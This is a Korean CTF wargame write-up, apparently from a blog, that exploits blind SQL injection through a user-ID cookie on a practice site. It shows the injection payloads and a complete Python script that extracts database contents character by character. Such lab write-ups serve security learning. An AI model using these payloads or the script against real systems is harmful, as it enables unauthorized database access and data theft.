문제 페이지에 접속해 회원가입을 해보니
마이페이지와 게시판 기능이 있는 사이트인 것으로 확인된다.
마이페이지에 접속해 보니,
Cookie 값에 사용자 ID가 넘어가는 것을 볼 수 있었다.
해당 쿠키 값이 DB에 SQL 질의하는지 알아보기 위해
user' and '1' = '1
항등원 쿼리를 넣어보았다.
결과를 보니
쿠키 값에서 전달되는 사용자의 ID 값으로는
참과 거짓의 결과가 같기 때문에 SQLi 할 수 있는지 아직은 모르겠다.
이후 SQL 에러를 유도해 봤을 때,
DB Error 라는 문구가 출력된다.
select () from () where userid='
user' and (select 1 union select 2 where (1=1)) and '1' = '1
이번엔 union 구문을 사용하여 에러를 유도해보니,
union 구문의 조건이 참이면 마이페이지, 거짓이면 에러 페이지가 출력되면서
where 조건에 Blind SQLi을 대입하면 DB 정보를 추출할 수 있을 것 같다.
더보기
import requests
# 공격 대상 url
url = "http://ctf.segfaulthub.com:7777/sqli_9/mypage.php"
# 공격 Format 작성
sql = "user' and (select 1 union select 2 where ((ascii(substr(({}),{},1)) > {}))) and '1' = '1"
#참 거짓 판단 기준
false_code = "DB Error"
def blind_sqli(query):
while True:
# select 구문 입력 받기
query = input("SELECT QUERY : ")
value = binarySearch(query,false_code)
print(value + "\n")
def binarySearch(query, false_code):
index = 1
high = 126
low = 32
value = ""
while True:
mid = (high+low)//2
# 추출할 값이 존재하는지 체크
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36",
"Cookie": "PHPSESSID=9b7gfs62nrmkb469gcv6se64g1; user="+sql.format(query,index,0)
}
response = requests.post(url, headers=headers)
# 추출할 값이 존재한다면 Blind SQLi 시작
if false_code in response.text:
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36",
"Cookie": "PHPSESSID=9b7gfs62nrmkb469gcv6se64g1; user="+sql.format(query,index,mid)
}
response = requests.post(url, headers=headers)
# 추출할 문자열이 mid 값 보다 크다면
if false_code in response.text:
low = mid
# 추출할 문자열이 mid 값 보다 작다면
else:
high = mid
# 추출할 문자열 값을 찾았다면
if low+1 >= high : # low == mid
# 추출한 값 저장
value += chr(high)
# 다음 인덱스 문자열 추출
index += 1
# 초기화
high = 126
low = 32
else:
break
return value
# 공격 시작
blind_sqli(sql)
파이썬을 이용해 Blind SQLi 자동화 코드를 작성하고
실행해보니
위와 같은 DB 정보를 추출할 수 있었다.
'WarGame > SegFault' 카테고리의 다른 글
XSS 2 (0) | 2024.06.14 |
---|---|
XSS 1 (0) | 2024.06.14 |
SQL Injection Point 3 (2) | 2024.06.08 |
SQL Injection Point 2 (0) | 2024.06.08 |
SQL Injection Point 1 (2) | 2024.06.08 |